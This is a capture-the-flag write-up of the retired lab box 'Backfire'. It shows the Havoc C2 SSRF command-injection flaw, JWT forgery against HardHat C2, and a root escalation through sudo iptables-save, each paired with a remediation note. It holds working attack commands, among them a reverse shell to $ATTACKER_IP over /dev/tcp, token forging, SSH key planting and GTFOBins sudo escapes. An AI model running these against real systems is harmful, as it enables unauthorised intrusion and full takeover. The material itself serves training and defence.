Backfire
Summary
My found an nginx directory listing on port 8000 that leaked a Havoc C2 teamserver configuration file, exposing operator credentials and the location of a loopback-only management socket. Chaining that with Havoc's CVE-2024-41570 SSRF-to-command-injection flaw let me reach the firewalled teamserver and inject a shell command during a demon build, planting an SSH key for the user ilya and gaining a foothold.
From there, a second internal C2 platform, HardHat, was found running on loopback ports with a hardcoded default JWT signing secret baked into its public source code; forging an admin token bypassed authentication entirely, and the resulting session was used to task an active implant to plant ilya's SSH key into the second operator account, sergej. Finally, sergej held unrestricted sudo rights over iptables-save, which was abused to write an SSH key straight into root's authorized_keys file, completing full system compromise.
Command conventions
The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<a-password-you-choose>"
export PASSWORD4="<a-password-you-choose>"
export PASSWORD5="<a-password-you-choose>"
export PASSWORD6="<a-password-you-choose>"Attack path — how the box was taken
Exact commands 4
nmap -p- -sV $TARGETcurl -s http://$TARGET:8000/curl -s http://$TARGET:8000/$PASSWORD4 -o $PASSWORD4curl -s http://$TARGET:8000/havoc.yaotl -o havoc.yaotlFixDisable directory listing and remove secrets from web-served pathsHigh
autoindex off; on every nginx location block, remove configuration/credential files from any web-served directory, and store secrets in a vault or environment variables outside the document root. Audit all exposed vhosts for stray build artifacts before deployment.Exact commands 8
ssh-keygen -q -t ed25519 -f /tmp/backfire_ilya_20260904 -N '' -C backfire-ilya-20260904python3 /opt/ptest/arsenal/Havoc-C2-SSRF-poc/exploit.py -hpython3 -c "import hashlib; print(hashlib.sha3_256(b'$PASSWORD').hexdigest())"# over the SSRF-tunneled /havoc/ websocket, send SubEvent-3: {"User":"ilya","Password":"<sha3_256_hash>"}# create a Demon listener, then submit a Build with Service Name: \" -mbla; echo <base64_of:"bash -i >& /dev/tcp/$ATTACKER_IP/443 0>&1"> | base64 -d | bash 1>&2 && false #nc -lvnp 443ssh -i /tmp/backfire_ilya_20260904 ilya@$TARGET idssh -i /tmp/backfire_ilya_20260904 ilya@$TARGET cat /home/ilya/user.txtFixPatch Havoc C2 and firewall its management socketCritical
Exact commands 3
ssh -i /tmp/backfire_ilya_20260904 ilya@$TARGET 'ss -lnt; sudo -n -l'ssh -i /tmp/backfire_ilya_20260904 ilya@$TARGET 'curl -ksS https://127.0.0.1:5000/swagger/v1/swagger.json' > backfire_hardhat_swagger.jsonjq -r '.paths|keys[]' backfire_hardhat_swagger.jsonExact commands 3
python3 -c "import jwt; print(jwt.encode({'sub':'HardHat_Admin','iss':'hardhatc2.com'}, '$PASSWORD5', algorithm='HS256'))"TOKEN=$(python3 /tmp/backfire_forge_jwt.py)ssh -i /tmp/backfire_ilya_20260904 ilya@$TARGET "curl -ksS -i https://127.0.0.1:5000/Login/Register -H 'Authorization: Bearer $TOKEN' -H 'Content-Type: application/json' --data '{\"username\":\"codexlead0904\",\"password\":\"$PASSWORD6\",\"role\":\"TeamLead\"}'"FixReplace HardHat C2's hardcoded JWT signing secret with a unique, rotated secretCritical
Exact commands 3
python3 /tmp/hardhat_terminal_key_ui.py /tmp/backfire_hardhat_swagger.json# task payload: mkdir -p /home/sergej/.ssh; printf '%s\n' '<ilya ed25519 pubkey>' >> /home/sergej/.ssh/authorized_keys; chmod 700 /home/sergej/.ssh; chmod 600 /home/sergej/.ssh/authorized_keysssh -i /tmp/backfire_ilya_20260904 sergej@$TARGET idExact commands 6
ssh -i /tmp/backfire_ilya_20260904 sergej@$TARGET 'sudo -n -l'ssh-keygen -t ed25519 -f /tmp/k -N ''ssh -i /tmp/backfire_ilya_20260904 sergej@$TARGET 'sudo /usr/sbin/iptables -A INPUT -i lo -m comment --comment "$(printf "\n%s\n" "$(cat /tmp/k.pub)")"'ssh -i /tmp/backfire_ilya_20260904 sergej@$TARGET 'sudo /usr/sbin/iptables-save -f /root/.ssh/authorized_keys'ssh -i /tmp/k root@$TARGET idssh -i /tmp/k root@$TARGET cat /root/root.txtFixRemove unrestricted sudo rights over iptables-saveCritical
Attack patterns used
The transferable techniques behind this compromise.
Sudo Misconfiguration (GTFOBins)Linux · Privilege EscalationT1548.003
What it is
When a low-privileged user is allowed (via sudo -l) to run a specific binary as root, many binaries can be coerced into spawning a root shell or reading root-owned files. GTFOBins catalogs the escape for each binary — e.g. sudo perl -e 'exec "/bin/sh"', sudo vim -c ':!sh', sudo find . -exec /bin/sh \;.
Why it works
Admins grant narrow sudo rights assuming the binary is 'safe', but interpreters, editors, and many utilities have shell-out features. Remediate by avoiding sudo rules on interpreter-class binaries, using NOEXEC, and least-privilege review. Always run sudo -l first on a foothold.
Read more
Exposed services
| 22/tcp | ssh recon-sweep-discovered |
| 443/tcp | ssl/http nginx 1.22.1 |
| 8000/tcp | http nginx 1.22.1 |